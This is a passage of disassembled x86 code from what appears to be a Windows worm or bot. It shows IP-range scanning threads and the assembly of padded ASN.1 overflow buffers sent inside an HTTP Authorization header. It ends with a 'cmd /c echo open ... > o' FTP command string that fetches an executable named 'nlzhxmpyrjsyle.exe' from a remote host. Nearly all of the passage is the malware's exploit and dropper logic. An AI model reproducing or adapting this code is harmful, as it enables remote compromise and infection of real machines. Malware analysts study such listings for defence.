sub_40CE95+8Dj ; sub_40CE95+92j push [ebp+var_4] call ds:dword_4F533C ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep lea eax, [ebp+Src] push 4 ; Size push eax ; Src lea eax, [ebp+Dst] push eax ; Dst call _memcpy add esp, 0Ch push [ebp+Dst] call dword_4E3020 ; htonl inc eax push eax mov [ebp+Dst], eax call dword_4E30F4 ; htonl mov [ebp+Dst], eax lea eax, [ebp+Dst] push 4 ; Size push eax ; Src lea eax, [ebp+Src] push eax ; Dst call _memcpy add esp, 0Ch jmp loc_40CEC3 sub_40CE95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF86 proc near ; DATA XREF: sub_401CC7+5DCFo Dest = byte ptr -130h var_B0 = dword ptr -0B0h Str = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_4F534C mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40CFB4: ; CODE XREF: sub_40CF86+BCj push [ebp+var_2C] push [ebp+var_1C] call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_448B08 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push 1FFh ; Count push eax ; Source mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_455E18 push eax ; Dest call _strncpy add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40CDC8 push edi push edi call ds:dword_4F5350 ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40D020 loc_40D015: ; CODE XREF: sub_40CF86+98j cmp [ebp+var_8], edi jnz short loc_40D020 push 32h call esi ; Sleep jmp short loc_40D015 ; --------------------------------------------------------------------------- loc_40D020: ; CODE XREF: sub_40CF86+8Dj ; sub_40CF86+92j push [ebp+arg_0] call ds:dword_4F533C ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40D047 inc [ebp+var_2C] jmp loc_40CFB4 ; --------------------------------------------------------------------------- loc_40D047: ; CODE XREF: sub_40CF86+B7j push [ebp+var_1C] call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_448B34 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409D34 push [ebp+var_20] call sub_40BA72 add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40CF86 endp ; =============== S U B R O U T I N E ======================================= sub_40D093 proc near ; CODE XREF: sub_40D335+Ep ; sub_40D335+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40D093 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push dword ptr [ebp+8] call _strlen pop ecx push eax lea ecx, [ebp-8] push dword ptr [ebp+8] call sub_40D0CB mov ecx, [eax] mov [esi], ecx mov eax, [eax+4] mov [esi+4], eax mov eax, esi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40D0CB(void *Src,size_t Size) sub_40D0CB proc near ; CODE XREF: .text:0040D0B5p ; sub_40D335+11Ep Src = dword ptr 4 Size = dword ptr 8 push ebx mov ebx, [esp+4+Size] push esi push edi mov esi, ecx push ebx ; Size call _malloc mov edi, eax pop ecx test edi, edi jz short loc_40D0FD push ebx ; Size push 0 ; Val push edi ; Dst call _memset push ebx ; Size push [esp+1Ch+Src] ; Src push edi ; Dst call _memcpy add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40D0FD: ; CODE XREF: sub_40D0CB+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D0CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_40D105(void *Src,size_t Size,int,int) sub_40D105 proc near ; CODE XREF: sub_40D1FF+18p ; sub_40D279+16p ... Src = dword ptr 8 Size = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+Size] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi ; Size call _malloc mov esi, eax pop ecx test esi, esi jz short loc_40D151 push edi ; Size push 0 ; Val push esi ; Dst call _memset push [ebp+Size] ; Size push [ebp+Src] ; Src push esi ; Dst call _memcpy push [ebp+arg_C] ; Size mov eax, [ebp+Size] add eax, esi push [ebp+arg_8] ; Src push eax ; Dst call _memcpy add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40D151: ; CODE XREF: sub_40D105+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40D105 endp ; =============== S U B R O U T I N E ======================================= sub_40D15A proc near ; CODE XREF: sub_40D1FF+5Ep ; sub_40D1FF+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40D16A push eax ; Memory call _free pop ecx loc_40D16A: ; CODE XREF: sub_40D15A+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40D15A endp ; =============== S U B R O U T I N E ======================================= sub_40D173 proc near ; CODE XREF: sub_40D1FF+20p ; sub_40D2DA+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40D1A0 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax ; Size call _malloc mov edi, eax pop ecx test edi, edi jnz short loc_40D1A4 loc_40D1A0: ; CODE XREF: sub_40D173+Dj xor al, al jmp short loc_40D1FB ; --------------------------------------------------------------------------- loc_40D1A4: ; CODE XREF: sub_40D173+2Bj mov eax, ebx add eax, [esi+4] push eax ; Size push 0 ; Val push edi ; Dst call _memset add esp, 0Ch cmp ebx, 1 jnz short loc_40D1C9 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40D1E3 ; --------------------------------------------------------------------------- loc_40D1C9: ; CODE XREF: sub_40D173+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] ; Size lea eax, [edi+3] push dword ptr [esi] ; Src loc_40D1E3: ; CODE XREF: sub_40D173+54j push eax ; Dst call _memcpy add esp, 0Ch push dword ptr [esi] ; Memory call _free add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40D1FB: ; CODE XREF: sub_40D173+2Fj pop edi pop esi pop ebx retn sub_40D173 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1FF proc near ; CODE XREF: sub_40D335+89p ; sub_40D335+E3p ... Src = dword ptr -8 Size = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+Src] push dword ptr [esi+4] ; int push dword ptr [esi] ; int push 1 ; Size push offset dword_4E5E2C ; Src call sub_40D105 lea ecx, [ebp+Src] call sub_40D173 mov eax, [ebp+Size] inc eax push eax ; Size call _malloc mov edi, eax pop ecx test edi, edi jnz short loc_40D239 xor al, al jmp short loc_40D275 ; --------------------------------------------------------------------------- loc_40D239: ; CODE XREF: sub_40D1FF+34j mov eax, [ebp+Size] inc eax push eax ; Size push 0 ; Val push edi ; Dst call _memset mov byte ptr [edi], 3 push [ebp+Size] ; Size lea eax, [edi+1] push [ebp+Src] ; Src push eax ; Dst call _memcpy add esp, 18h mov ecx, esi call sub_40D15A mov eax, [ebp+Size] lea ecx, [ebp+Src] inc eax mov [esi], edi mov [esi+4], eax call sub_40D15A mov al, 1 loc_40D275: ; CODE XREF: sub_40D1FF+38j pop edi pop esi leave retn sub_40D1FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D279 proc near ; CODE XREF: sub_40D2AD+14p ; sub_40D2CA+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] ; int lea ecx, [ebp+var_8] push [ebp+arg_0] ; int push dword ptr [esi+4] ; Size push dword ptr [esi] ; Src call sub_40D105 mov ecx, esi call sub_40D15A mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40D279 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40D2AD(char *Str) sub_40D2AD proc near ; CODE XREF: sub_40D335+F0p ; sub_40D335+15Bp ... Str = dword ptr 4 push esi mov esi, ecx push [esp+4+Str] ; Str call _strlen pop ecx push eax mov ecx, esi push [esp+8+Str] call sub_40D279 pop esi retn 4 sub_40D2AD endp ; =============== S U B R O U T I N E ======================================= sub_40D2CA proc near ; CODE XREF: sub_40D316+Bp ; sub_40D335+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40D279 retn 8 sub_40D2CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2DA proc near ; CODE XREF: sub_40D316+16p ; sub_40D335+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40D173 test al, al jz short loc_40D313 push dword ptr [esi+4] ; int lea ecx, [ebp+var_8] push dword ptr [esi] ; int push 1 ; Size push offset dword_448ECC ; Src call sub_40D105 mov ecx, esi call sub_40D15A mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40D313: ; CODE XREF: sub_40D2DA+Fj pop esi leave retn sub_40D2DA endp ; =============== S U B R O U T I N E ======================================= sub_40D316 proc near ; CODE XREF: sub_40D335+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40D2CA test al, al jz short loc_40D331 mov ecx, esi call sub_40D2DA loc_40D331: ; CODE XREF: sub_40D316+12j pop esi retn 8 sub_40D316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D335 proc near ; CODE XREF: sub_40DB0C+88p Dst = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40D093 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D689 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D689 push esi lea ecx, [ebp+var_30] call sub_40D093 lea ecx, [ebp+var_20] call sub_40D093 lea ecx, [ebp+var_50] call sub_40D093 lea ecx, [ebp+var_18] call sub_40D093 lea ecx, [ebp+var_40] call sub_40D093 lea ecx, [ebp+var_38] call sub_40D093 lea ecx, [ebp+var_28] call sub_40D093 push 4 push offset dword_448B6C lea ecx, [ebp+var_30] call sub_40D279 push 3 push offset dword_448B74 lea ecx, [ebp+var_30] call sub_40D279 lea ecx, [ebp+var_30] call sub_40D1FF lea ecx, [ebp+var_30] call sub_40D2DA mov esi, 800h lea eax, [ebp+Dst] push esi ; Size push 42h ; Val push eax ; Dst call _memset add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40D279 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40D279 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+Dst] push eax call sub_40D279 lea ecx, [ebp+var_20] call sub_40D1FF push offset dword_448ED0 ; Str lea ecx, [ebp+var_50] call sub_40D2AD lea ecx, [ebp+var_50] call sub_40D1FF push esi ; Size lea eax, [ebp+Dst] push 44h ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] lea ecx, [ebp+var_58] push 410h ; Size push eax ; Src call sub_40D0CB lea ecx, [ebp+var_58] call sub_40D1FF push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40D316 lea ecx, [ebp+var_58] call sub_40D15A push esi ; Size lea eax, [ebp+Dst] push 43h ; Val push eax ; Dst call _memset add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40D2AD push 4 push offset dword_448B78 lea ecx, [ebp+var_18] call sub_40D279 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40D279 sub edi, [ebp+arg_8] lea eax, [ebp+Dst] lea ecx, [ebp+var_18] push edi push eax call sub_40D279 lea ecx, [ebp+var_18] call sub_40D1FF push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40D2CA push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40D2CA lea ecx, [ebp+var_40] call sub_40D2DA lea ecx, [ebp+var_18] call sub_40D15A lea ecx, [ebp+var_50] call sub_40D15A push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40D2CA push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40D2CA push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40D2CA lea ecx, [ebp+var_38] call sub_40D2DA lea ecx, [ebp+var_20] call sub_40D15A lea ecx, [ebp+var_30] call sub_40D15A lea ecx, [ebp+var_40] call sub_40D15A push esi ; Size lea eax, [ebp+Dst] push 41h ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] lea ecx, [ebp+var_28] push 400h push eax call sub_40D279 lea ecx, [ebp+var_28] call sub_40D1FF push 2 push offset dword_448EE4 lea ecx, [ebp+var_28] call sub_40D279 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40D2CA lea ecx, [ebp+var_28] call sub_40D2DA lea ecx, [ebp+var_38] call sub_40D15A lea ecx, [ebp+var_10] call sub_40D093 lea ecx, [ebp+var_8] call sub_40D093 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40D2CA lea ecx, [ebp+var_10] call sub_40D173 lea ecx, [ebp+var_28] call sub_40D15A push offset dword_448EE8 ; Str lea ecx, [ebp+var_8] call sub_40D2AD push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40D2CA lea ecx, [ebp+var_8] call sub_40D173 lea ecx, [ebp+var_10] call sub_40D15A push offset dword_448EEC ; Str lea ecx, [ebp+var_10] call sub_40D2AD push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40D2CA lea ecx, [ebp+var_10] call sub_40D173 lea ecx, [ebp+var_8] call sub_40D15A push offset dword_448EF0 ; Str lea ecx, [ebp+var_8] call sub_40D2AD push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40D2CA lea ecx, [ebp+var_8] call sub_40D173 lea ecx, [ebp+var_10] call sub_40D15A push offset dword_448EFC ; Str lea ecx, [ebp+var_48] call sub_40D2AD push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40D2CA lea ecx, [ebp+var_8] call sub_40D15A mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D697 ; --------------------------------------------------------------------------- loc_40D689: ; CODE XREF: sub_40D335+1Bj ; sub_40D335+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D697: ; CODE XREF: sub_40D335+352j pop edi pop ebx leave retn sub_40D335 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D69B proc near ; CODE XREF: sub_40D75F+A1p ; sub_40D75F+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_4F5544 ; select cmp eax, edi jnz short loc_40D702 lea eax, [ebp+var_10C] push eax push esi call sub_43ABA2 ; __WSAFDIsSet test eax, eax jnz short loc_40D706 loc_40D702: ; CODE XREF: sub_40D69B+54j xor eax, eax jmp short loc_40D716 ; --------------------------------------------------------------------------- loc_40D706: ; CODE XREF: sub_40D69B+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4E3110 ; recv loc_40D716: ; CODE XREF: sub_40D69B+69j pop edi pop esi leave retn sub_40D69B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D71A proc near ; CODE XREF: sub_40D75F+81p ; sub_40D75F+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4E30F4 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4E3148 ; send cmp eax, 4 jz short loc_40D744 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D744: ; CODE XREF: sub_40D71A+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4E3148 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D71A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D75F(int,void *Src,size_t Size) sub_40D75F proc near ; CODE XREF: sub_40D839+48p ; sub_40DB0C+15Bp var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+Size] lea ebx, [edi+41h] push ebx ; Size mov [ebp+var_4], ebx call _malloc mov esi, eax pop ecx test esi, esi jnz short loc_40D788 xor al, al jmp loc_40D834 ; --------------------------------------------------------------------------- loc_40D788: ; CODE XREF: sub_40D75F+20j push ebx ; Size push 0 ; Val push esi ; Dst call _memset push 2Fh ; Size push offset dword_448C08 ; Src push esi ; Dst call _memcpy push 8 ; Size lea eax, [esi+31h] push offset dword_448C38 ; Src push eax ; Dst mov [esi+2Fh], di call _memcpy push edi ; Size lea ebx, [esi+3Bh] push [ebp+Src] ; Src mov [esi+39h], di push ebx ; Dst call _memcpy push 6 ; Size add ebx, edi push offset dword_4E5E24 ; Src push ebx ; Dst call _memcpy mov ebx, [ebp+arg_0] push 85h push offset dword_448B80 push ebx call sub_40D71A add esp, 48h test al, al jnz short loc_40D7F0 loc_40D7EC: ; CODE XREF: sub_40D75F+B5j xor bl, bl jmp short loc_40D82B ; --------------------------------------------------------------------------- loc_40D7F0: ; CODE XREF: sub_40D75F+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D69B push [ebp+var_4] push esi push ebx call sub_40D71A add esp, 1Ch test al, al jz short loc_40D7EC push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D69B add esp, 10h mov bl, 1 loc_40D82B: ; CODE XREF: sub_40D75F+8Fj push esi ; Memory call _free pop ecx mov al, bl loc_40D834: ; CODE XREF: sub_40D75F+24j pop edi pop esi pop ebx leave retn sub_40D75F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D839(int,void *Src,size_t Size) sub_40D839 proc near ; CODE XREF: sub_40DB0C+141p var_20 = byte ptr -20h arg_0 = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_448C44 push [ebp+arg_0] call ds:dword_4F5540 ; send cmp eax, 48h jnz short loc_40D874 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D69B add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D874 cmp [ebp+var_20], 82h jz short loc_40D878 loc_40D874: ; CODE XREF: sub_40D839+1Bj ; sub_40D839+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D878: ; CODE XREF: sub_40D839+39j push [ebp+Size] ; Size push [ebp+Src] ; Src push [ebp+arg_0] ; int call sub_40D75F add esp, 0Ch leave retn sub_40D839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D88B proc near ; CODE XREF: sub_40D8D7+29p var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_43C470 call __ftol and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_43C468 fstp [esp+10h+var_10] call _floor fadd st, st pop ecx pop ecx fadd [ebp+var_8] call __ftol inc eax leave retn sub_40D88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8D7 proc near ; CODE XREF: sub_40DA4E+23p var_4C = qword ptr -4Ch var_38 = byte ptr -38h var_28 = qword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str = dword ptr 14h mov eax, offset loc_43BA8F call __EH_prolog sub esp, 2Ch push esi lea eax, [ebp+var_D] push edi xor esi, esi push eax lea ecx, [ebp+var_38] mov [ebp+var_20], esi call sub_40DCD3 push 1 pop edi push [ebp+arg_8] mov [ebp+var_4], edi call sub_40D88B pop ecx push eax lea ecx, [ebp+var_38] call sub_40DDE8 cmp [ebp+arg_8], esi mov [ebp+var_18], esi jbe loc_40DA22 push ebx mov ebx, [ebp+arg_8] loc_40D91F: ; CODE XREF: sub_40D8D7+144j cmp [ebp+arg_8], 3 jb short loc_40D92A push 3 loc_40D927: ; CODE XREF: sub_40D8D7+5Bj pop ebx jmp short loc_40D93B ; --------------------------------------------------------------------------- loc_40D92A: ; CODE XREF: sub_40D8D7+4Cj cmp [ebp+arg_8], 2 jnz short loc_40D934 push 2 jmp short loc_40D927 ; --------------------------------------------------------------------------- loc_40D934: ; CODE XREF: sub_40D8D7+57j cmp [ebp+arg_8], edi jnz short loc_40D93B mov ebx, edi loc_40D93B: ; CODE XREF: sub_40D8D7+51j ; sub_40D8D7+60j and dword ptr [ebp+var_28+4], 0 mov dword ptr [ebp+var_28], ebx fild [ebp+var_28] push ecx push ecx ; double fmul ds:dbl_43C478 fstp [esp+4Ch+var_4C] call _ceil pop ecx pop ecx call __ftol test ebx, ebx mov [ebp+var_1C], eax jbe short loc_40D97C mov esi, [ebp+arg_4] mov ecx, ebx mov edx, ecx lea edi, [ebp+var_10] shr ecx, 2 rep movsd mov ecx, edx push 1 and ecx, 3 rep movsb pop edi loc_40D97C: ; CODE XREF: sub_40D8D7+8Aj mov cl, [ebp+var_10] mov dl, [ebp+var_10] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp+var_14], cl mov cl, [ebp+var_F] sar cl, 4 and cl, 0Fh add [ebp+arg_4], ebx shl dl, 4 add cl, dl mov dl, [ebp+var_F] mov [ebp+var_13], cl mov cl, [ebp+var_E] sar cl, 6 and dl, 0Fh sub [ebp+arg_8], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp+var_12], cl mov cl, [ebp+var_E] and cl, 3Fh test eax, eax mov [ebp+var_11], cl jbe short loc_40D9E9 add [ebp+var_18], eax loc_40D9CE: ; CODE XREF: sub_40D8D7+110j movsx eax, [ebp+esi+var_14] lea ecx, [ebp+var_38] mov al, byte_448C90[eax] push eax ; int push edi ; Size call sub_40DD68 inc esi cmp esi, [ebp+var_1C] jb short loc_40D9CE loc_40D9E9: ; CODE XREF: sub_40D8D7+F2j cmp [ebp+var_18], 48h jb short loc_40D9FE push [ebp+Str] ; Str lea ecx, [ebp+var_38] call sub_40DD40 and [ebp+var_18], 0 loc_40D9FE: ; CODE XREF: sub_40D8D7+116j push 4 pop esi cmp [ebp+var_1C], esi jnb short loc_40DA17 sub esi, [ebp+var_1C] loc_40DA09: ; CODE XREF: sub_40D8D7+13Ej push 3Dh ; int push edi ; Size lea ecx, [ebp+var_38] call sub_40DD68 dec esi jnz short loc_40DA09 loc_40DA17: ; CODE XREF: sub_40D8D7+12Dj cmp [ebp+arg_8], 0 ja loc_40D91F pop ebx loc_40DA22: ; CODE XREF: sub_40D8D7+3Ej mov ecx, [ebp+arg_0] lea eax, [ebp+var_38] push eax call sub_40DCEB mov [ebp+var_20], edi and byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_38] call sub_40DD38 mov ecx, [ebp+var_C] mov eax, [ebp+arg_0] pop edi pop esi mov large fs:0, ecx leave retn sub_40D8D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA4E proc near ; CODE XREF: sub_40DB0C+124p var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h mov eax, offset loc_43BAA9 call __EH_prolog sub esp, 10h push ebx push esi push edi push offset dword_4E5E30 and [ebp+var_4], 0 push [ebp+arg_8] lea eax, [ebp+var_1C] push [ebp+arg_4] push eax call sub_40D8D7 add esp, 10h lea ecx, [ebp+var_1C] mov byte ptr [ebp+var_4], 1 call sub_40DDE4 lea ecx, [ebp+arg_C] mov esi, eax call sub_40DDE4 lea esi, [esi+eax+36h] push esi ; Size call _malloc mov edi, eax pop ecx test edi, edi jnz short loc_40DAA4 xor bl, bl jmp short loc_40DAE3 ; --------------------------------------------------------------------------- loc_40DAA4: ; CODE XREF: sub_40DA4E+50j lea ecx, [ebp+var_1C] call sub_40DDD7 push eax lea ecx, [ebp+arg_C] call sub_40DDD7 push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi ; Count push edi ; Dest call __snprintf add esp, 14h push 0 push esi push edi push [ebp+arg_0] call dword_4E3148 ; send cmp eax, esi jz short loc_40DADA xor bl, bl jmp short loc_40DADC ; --------------------------------------------------------------------------- loc_40DADA: ; CODE XREF: sub_40DA4E+86j mov bl, 1 loc_40DADC: ; CODE XREF: sub_40DA4E+8Aj push edi ; Memory call _free pop ecx loc_40DAE3: ; CODE XREF: sub_40DA4E+54j and byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_1C] call sub_40DD38 or [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_C] call sub_40DD38 mov ecx, [ebp+var_C] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40DA4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB0C proc near ; DATA XREF: .data:00448324o ; .data:00448364o ... Dst = byte ptr -424h var_423 = byte ptr -423h Dest = byte ptr -395h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_D = byte ptr -0Dh var_C = dword ptr -0Ch Src = dword ptr -8 Size = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 424h and [ebp+Dst], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_423] push 8Fh ; Size rep stosd stosw stosb lea eax, [ebp+Dst] push offset dword_448E3C ; Src push eax ; Dst call _memcpy add esp, 0Ch mov eax, offset Str ; "nlzhxmpyrjsyle.exe" push eax push eax movzx eax, word ptr dword_4E2E18 push eax push [ebp+arg_0] call sub_40AF71 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp+Dest] push 400h ; Count push eax ; 